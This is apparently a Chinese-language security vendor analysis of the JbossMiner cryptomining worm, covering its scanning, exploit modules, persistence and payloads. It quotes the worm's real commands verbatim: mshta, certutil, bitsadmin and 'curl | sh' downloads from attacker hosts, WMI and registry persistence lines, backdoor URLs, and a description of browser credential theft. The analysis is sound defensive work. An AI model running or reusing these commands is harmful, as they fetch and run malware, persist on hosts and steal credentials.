技术研究 | JbossMiner 挖矿蠕虫分析

本文涉及的产品
云安全中心 免费版,不限时长
简介: 前言 从2013年的诞生,到2016爆发,挖矿(MiningCryptocurrency) 的高回报率,使其成为了一把双刃剑。据外媒去年的统计,比特币的算力(Hash Rate)已在半年内翻了一翻。 当比特币全网算力已经全面进入P算力时代,也就意味着需要有相应计算能力的设备高速运转,不间断地暴力验证和工作,来支撑矿工们的“野心”。

前言

从2013年的诞生,到2016爆发,挖矿(MiningCryptocurrency) 的高回报率,使其成为了一把双刃剑。据外媒去年的统计,比特币的算力(Hash Rate)已在半年内翻了一翻。

当比特币全网算力已经全面进入P算力时代,也就意味着需要有相应计算能力的设备高速运转,不间断地暴力验证和工作,来支撑矿工们的“野心”。

自2017年11月以来,阿里云安全监控中心成功捕获到一系列的同源挖矿事件,被感染的主机中发现了名为F-Scrack-Jexboss的恶意文件,用于执行挖矿任务,并对外扫描扩散。本次受害主机以Jboss服务为主,我们将其命名为“JbossMiner”。

通过监控JbossMiner相关情报,阿里云安全团队发现,JbossMiner挖矿蠕虫在18年初爆发式增长,随后增速迅猛,近期稍有回落。

fbd8259537a40610ccaa612ada52ecab16bc25b4

本文将以“JbossMiner”的核心代码为基础,分别从扫描、入侵、利用、挖矿等功能进行展开,完整分析并还原整个过程:希望研究者,和非安全专业领域的读者们,能从全局角度看到,挖矿木马如何瞄准“宿主”,扩张木马僵尸网络,并可持续利用。为企业和机构的入侵 - 挖矿防范,提供新的视角。

注:JbossMiner中用到的漏洞,阿里云上已默认可拦截,并且,安骑士已可以检测JbossMiner中的恶意程序,和执行的恶意命令。建议及时关注威胁提示,如有异常事件可尽快处理。

解构JbossMiner:核心代码分析

阿里云安全团队在蜜罐中捕获到该二进制样本,该样本由py2exe打包,解包反编译后是一套由Python编写的完整攻击程序,包含源码及依赖类库等数十个文件,核心功能代码文件列表如下图所示:

91ad608f3dc14452f2bab645b1030fe371ed4772

其核心功能分为四大部分,分别为:扫描、入侵、恶意代码植入、挖矿。通过这几部分的分工协作,完成整个入侵 - 植入 - 持续扩张流程。相关逻辑由Python和Shell脚本实现。

下图为“JbossMiner”完整的传播及利用路径:

c5bc3d5d3a95150dea235ef0b67c3834bbfba8b9

下面,本文将对上述四大功能部分进行详细分析。

寻找目标:JbossMiner的扫描过程

8481c8f592b7f349aa84a1de5c171db681516edf 内网扫描:读取本机网络地址并据此生成C段进行扫描。

07607faabe551dccaf3a3f4d461a8d84ac701377

8481c8f592b7f349aa84a1de5c171db681516edf 公网扫描:从指定地址拉取IP和子网掩码,并解析成对应的IP列表。

b535fe553258a1a4111e6a2e27244a2169281142

`u.swb.one`会在每次请求时生成一段目标地址,如下所示:

199.123.16.0/21
103.30.248.0/22
58.10.0.0/15
94.76.64.0/18

随后JbossMiner对目标IP进行ICMP探活,随后对存活主机的指定端口进行扫描,并根据端口对应的服务启动攻击模块。

b07cb3d7f172c74fe74e1cfda3538e682fcfc6bb

攻陷“宿主”:JbossMiner的入侵模块分析

JbossMiner蠕虫客户端内置的入侵模块有以下几种。

首先是Jboss利用模块

Jboss是一款开源的企业级Java中间件,用于实现基于SOA架构的web应用和服务。2015年,安全研究人员披露Java反序列化漏洞利用方案,Jboss首当其冲,直至今日仍有相当数量存在漏洞的服务器暴露在公网。JbossMiner复用了开源自动化入侵工具Jexboss,该工具由Python编写,支持多种Jboss命令执行漏洞的检测和利用。

c9f14ed31534a9f4112caeb472641b35064e8f26

第二,Struts2利用模块

Struts2是当下流行的Java网络应用框架,针对该框架的命令执行漏洞层出不穷。据阿里云态势感知观测,目前Struts框架漏洞仍为黑色产炙手可热的入侵手段。JbossMiner内部集成了从S2-005到S2-053的全部漏洞利用代码,入侵成功后通过系统命令控制目标服务器远程拉取文件进行挖矿和持久化。

54a9081493fd07fb80f6b96bea49889d2a2f12cf

第三,"永恒之蓝"利用模块

永恒之蓝(EternalBlue)是美国国家安全局开发的漏洞利用程序,于2017年4月14日被黑客组织公开,并催生了以WannaCry为首的诸多蠕虫变种。目前很多机器已经修复该漏洞,暴露在公网的影响面有限,但仍不失为一种内网传播的有效手段。

8987978900196a4762b7b302f0fa621927bb06dd

第四,MySQL利用模块

MySQL服务的攻击面主要集中在SQL注入、弱口令及未授权访问。JbossMiner中的MySQL利用模块对系统及MySQL版本进行了简单适配,通过以下两种方式穿透到主机。

利用方式1

通过outfile/dumpfile导出文件,加载为UDF,执行系统命令。

66c040bbc7b9f2f4db877b12e2bae5303d263c75

UDF以16进制的方式存在于Python代码中,对Windows、Linux进行适配。

48af2f95cb591a6e0be21731327a55f69721c89a

落盘文件IOC

文件名

lib_mysqludf32_sys.dll

lib_mysqludf64_sys.dll

lib_mysqludf32_sys.so

lib_mysqludf64_sys.so

该木马携带的`lib_mysqludf32/64`动态链接库,其核心功能就是为了执行MySQL命令,以便运行恶意脚本,该木马作者将执行命令的代码放在了`sys_bineval`函数中,其中线程函数StartAddress负责执行用户传入的参数。

代码截图如下(Linux版本的代码类似):

c92ca4dbf9fc95b31f14810ff40b132e435c9031

利用方式2


通过开启查询日志,并设定日志文件路径在crontab目录下,可以向定时任务写入恶意代码,除此之外MySQL中还有其他类似的日志配置文件可被利用。

6f68fb2f7006f4397146165dddc879bec02d8873

第五,Redis利用模块

Redis服务的攻击面以未授权访问和弱口令为主,利用该服务穿透到主机进行后续渗透的方法五花八门,如利用数据导出功能将恶意代码写入系统的指定位置(如web后门、计划任务、SSH密钥等)。

JbossMiner首先探测目标Redis服务是否存在未授权登录,随即使用内置字典爆破密码,并将成功后的信息回传到黑客控制的回显平台。

a781dcc725d5732c83222c5fd5bd2b19db6bbc55

其中`make_crontab`函数通过写crontab的方式穿透到系统,接入后续挖矿代码。

8284a187943f11873657c0fb6c410281942ee5ec

最后是Tomcat/Axis利用模块

JbossMiner针对Tomcat/Axis服务的入侵方式为WEB层弱口令爆破。

932b7dc18bbce6391fdeda4bc3ed3999fa60b329

成功登入后,通过Tomcat上传功能部署后门,war包代码以hex格式存于Python代码中。

5bedc6a0863e17a93d59e70bee3c3ece43f66459

随后通过HTTP请求连接后门,依次下发后续利用的命令。

08cab95f703cb53105ff44801bd218c49a0b01fd

对Axis服务的利用方式与之相同,不再赘述。

部署的后门地址IOC如下:

服务

后门地址

Axis

http://%s/axis2/services/Cat/exec?cmd=

Tomcat

http://%s/is/cmd.jsp?pwd=futuresec&&cmd=

持续扩张:JbossMiner的后续利用方式

JbossMiner在成功攻破的服务器中执行系统命令以完成后渗透利用,具体指令如下:

'SchTasks.exe /Create /SC MINUTE /TN Update2 /TR "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt" /MO 5 /F',
'wmic process call create "c:/windows/system32/mshta.exe http://enjoytopic.esy.es/ps3.txt"',
'curl -sL https://lnk0.com/VhscA1 | sh',
'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"',
'wmic /NAMESPACE:"\\root\\subscription" PATH CommandLineEventConsumer CREATE Name=999, CommandLineTemplate="mshta http://enjoytopic.esy.es/ps3.txt"',
'wmic /NAMESPACE:"\\root\\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=888", Consumer="CommandLineEventConsumer.Name=999"',
'wmic /NAMESPACE:"\\root\\subscription" PATH __EventFilter CREATE Name=888, EventNameSpace="root\\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_PerfFormattedData_PerfOS_System" AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"',
'bitsadmin /create updateer3',
'bitsadmin /addfile updateer3 %SYSTEMROOT%\\System32\\mshta.exe %temp%\\mshta.exe',
'bitsadmin /SetNotifyCmdLine updateer3 mshta.exe "http://enjoytopic.esy.es/ps3.txt"',
'bitsadmin /Resume updateer3'

使用 SchTasks.exe、wmic、bitsadmin来实现在Windows平台的自启动,除此之外,并针对Windows和Linux执行不同的脚本,后续所有的恶意行为都由这两个脚本来完成,主要实现持久化、蠕虫传播、挖矿、窃取浏览器敏感信息等。

文章后面部分内容,将针对这两部分详细分析。

针对Windows系统的利用程序(vbs脚本)

http://enjoytopic.esy.es/ps3.txt

Linux系统的利用程序(Shell脚本)

https://lnk0.com/VhscA1

Windows Payload

针对Windows系统,JbossMiner在攻击成功后将使用mshta命令执行名为ps3.txt的vbs脚本,ps3.txt中的shellcode执行流程简图如下:

56c6eeaacb7d7a195ce2647aa7b9439fb57c17e2

ps3.txt文件的部分内容截图如下:

10 2f071a76318db03d449d88475a056b1da74ac85d

解密后的vbs中嵌入了一段powershell命令,解密后,var_code即为最终要执行的代码(base64编码)如下:

894fd88d7040fe0470b16f6471ffee7b024c04a7

var_code是为一段shellcode,shellcode内自己实现LoadLibrary和GetProcAddress逻辑,动态加载wininet.dll,获取wininet.HttpOpenRequestA等相关API来实现http的访问。

它会请求d1uga3uzpppiit.cloudfront.net/dCrC文件,该文件是一个加密后的DLL,MZ头经过精心构造,可直接当作代码执行。解密后的dll中包含导出函数ReflectiveLoader,负责reload自身并执行。从结构上来看,这部分payload由Metasploit生成,与上文中提到的Mettle类似。

9035fd9fc9aa50ad29af61bff2071ff7052ee44b

该dCrC文件主要作用就是接受服务器下发的powershell命令并运行,其核心代码截图如下:

048f60a4127220cc6abf27772631bddfef457c35

在dCrC文件与swb.one服务器交互,接收其powershell命令并执行,完成自启动和下发其他恶意程序(挖矿、蠕虫、窃密)。

powershell命令经过解密后如下:

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value mshta http://xmr.enjoytopic.tk/d/ps3.txt

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater2 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr3.sct scrobj.dll

New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater3 -PropertyType String -Value regsvr32 /s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater111';EventNameSpace='root\CimV2';QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60"};
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" 
-Arguments @{Name='Updater111';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe';CommandLineTemplate ='
/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" 
-Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer};

$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{name='Updater222';
EventNameSpace='root\CimV2';QueryLanguage="WQL";Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 
'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"};$Consumer = 
Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name='Updater222';ExecutablePath='%SYSTEMROOT%\System32\regsvr32.exe'
;CommandLineTemplate ='/s /n /u /i:http://xmr.enjoytopic.tk/d/regxmr222.sct scrobj.dll'};Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding 
-Arguments @{Filter=$Filter;Consumer=$Consumer};

除了上述的下发powershell命令外,还下发了两条下载命令:

C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/tg3.txt %temp%\svthost.exe &&wmic process call create %temp%\svthost.exe
C:\Windows\system32\cmd.exe /C certutil -urlcache -split -f http://emsisoft.enjoytopic.tk/fix.txt %temp%\svshost.exe &&wmic process call create %temp%\svshost.exe

分别下载svthost.exe的后门程序和svshost.exe横向渗透传播程序,其中svshost.exe横向渗透传播程序也是由python脚本打包而成的exe程序,于运行时释放运行所需文件,其文件列表截图如下:

93f108971f6b7e5225e7afca36baddd6f4996e7f

下面再来看看这个svthost.exe的后门程序是如何盗取浏览器用户名和密码信息的 — 我们在测试环境下作了验证。

后门程序不仅盗取Chrome浏览器中存储的账号和密码,还盗取Firefox浏览器中存储的账号和密码。其上传盗取数据的接口是:https://u.swb.one/upload/win,相关代码截图如下:

3092e079adf34993a098755aa0abd66d257783bc

Chrome浏览器将访问网站的相关用户名和密码,加密保存在一个SQLite数据库中,路径为:%APPDATA%\..\Local \Google\Chrome\User Data\Default\Login Data"。svthost.exe后门程序首先遍历进程检查被攻击者的电脑是否运行了Chrome浏览器(chrome.exe),之后再去获取Chrome浏览器账号和密码保存的数据库文件,解密后上传到黑客的外部服务器。

检查chrome浏览器保存密码的数据库路径:

2edc90ef4ee0a3dfa5fcb1095e59a1936ed46a2a

其中sub_417C10函数拿到解密后的账号和密码,发送到外部服务器。

029a2d7828e23e101a195222f437264740f66800

同样,svthost.exe后门程序也是先确认该用户是否安装了Firefox浏览器,然后利用NSS的开源库,对没有设置浏览器设定主密码的攻击对象(一般会默认为空)进行破解,提取全局hash,获得它与空密码做hash后的运算结果,然后使用该结果破译SDR密钥,再用破译的SDR密钥危害证书,最后拿到Firefox浏览器中保存的账号和密码。

检测是否安装了Firefox浏览器代码片段:

8ce69f7ec9f97e51b0e140335b83bc5a0ac94f7d

加载NSS开源库的nss.dll,然后利用其提供函数进行运算:

9c6bdb96cd82a106d67e847532e33addc9ce52e1

最后拿到被攻击者的网站,以及其对应的用户名和密码,并上传到服务器,其代码片段如下:

730687f67b6a24fb09248a76560c000d7fcb91ad

Linux Payload

针对Linux系统,JbossMiner在攻击成功后将命令写入crontab来实现后续利用,宿主机将定期下载指定shell脚本执行。

f079d4c0c66ae4611f089171f57da8b677154a7d

对该shell进行进一步分析,首先从远端拉取名为`hawk`的文件并执行。

fa47c5ec3c938bde2ef1b93a073d3afa4d04d908

该文件实为MetaSploit中的Mettle组件,根据预设的DNS(cs.swb.one)查找控制端反弹shell,其中swb.one域名下多次发现黑客资产,分别用于文件服务、接收爆破成功后回传的信息、接收反弹shell。

56b0feeb771648b9fa8289d511718ca70eb95613

相关实践学习
基于CentOS快速搭建LAMP环境
本教程介绍如何搭建LAMP环境,其中LAMP分别代表Linux、Apache、MySQL和PHP。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
1月前
|
监控 安全 数据可视化
计算机病毒解析与防范技术研究_kaic
计算机病毒解析与防范技术研究_kaic
|
安全 前端开发 网络安全
分享处理khugrepaged挖矿病毒的经验
前端时间接到阿里客服的电话,说我的CPU长时间占用率过高,于是我上服务发现中病毒了,因为没有什么重要资料所以我把权限开放的比较大,3606、6379端口完全没改动也是完全对外开放的,防火墙也让我关掉了,完全就是0安全措施,khugrepaged病毒就是通过我开放的端口侵入到了我的服务器,让我成为了肉鸡。
573 0
分享处理khugrepaged挖矿病毒的经验
|
云安全 安全
威胁快报|Solr dataimport成挖矿团伙新型利用方式
近日,阿里云安全团队监测到挖矿团伙利用solr dataimport RCE(CVE-2019-0193)作为新的攻击方式对云上主机进行攻击,攻击成功后下载门罗币挖矿程序进行牟利。该团伙使用的恶意脚本与之前报道的“威胁预警 | watchbog挖矿蠕虫升级,利用Bluekeep RDP等多个漏洞蓄势待发”文章所提团伙使用的基本一致,因此基本认为是同一团伙所为。
1393 0
|
安全 Perl
威胁快报|挖矿团伙8220进化,rootkit挖矿趋势兴起
近日,阿里云安全团队发现8220挖矿团伙为了更持久的驻留主机以获得最大收益,开始使用rootkit技术来进行自我隐藏。这类隐藏技术的使用在watchdogs等挖矿蠕虫使用后开始出现逐渐扩散和进化的趋势,此后预计主机侧的隐藏和对抗将成为主流。
13495 0
|
安全 Shell 云安全
威胁快报|ProtonMiner挖矿蠕虫扩大攻击面,加速传播
​​背景 近日,阿里云安全监测到一种挖矿蠕虫,正在互联网上加速传播。阿里云安全根据它使用ProtonMail邮箱地址作为矿池用户名的行为,将其命名为ProtonMiner。据分析,这种蠕虫与TrendMicro于2018年12月曾报导过的“利用ElasticSearch旧漏洞传播的蠕虫”非常相似,可能是同一团伙所为。
10599 0
|
云安全 安全 应用服务中间件
威胁快报|首爆新型ibus蠕虫,利用热门漏洞疯狂挖矿牟利
一、背景 近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件。黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机,并将其中一台“肉鸡”作为蠕虫脚本的下载源。其余受控主机下载并运行此蠕虫脚本后,继续进行大规模漏洞扫描和弱口令爆破攻击,从而实现横向传播。
3233 0
|
云安全 安全 C#
独家技术分析 | 新型勒索病毒Mindlost
1月15日安全研究组织MalwareHunter发现了Mindlost勒索软件的第一批样本。 阿里云安全团队第一时间对该勒索软件进行了技术分析。通过此分析报告希望给业界研究者提供参考依据并为可能受到影响的企业与机构提供安全建议。
3855 0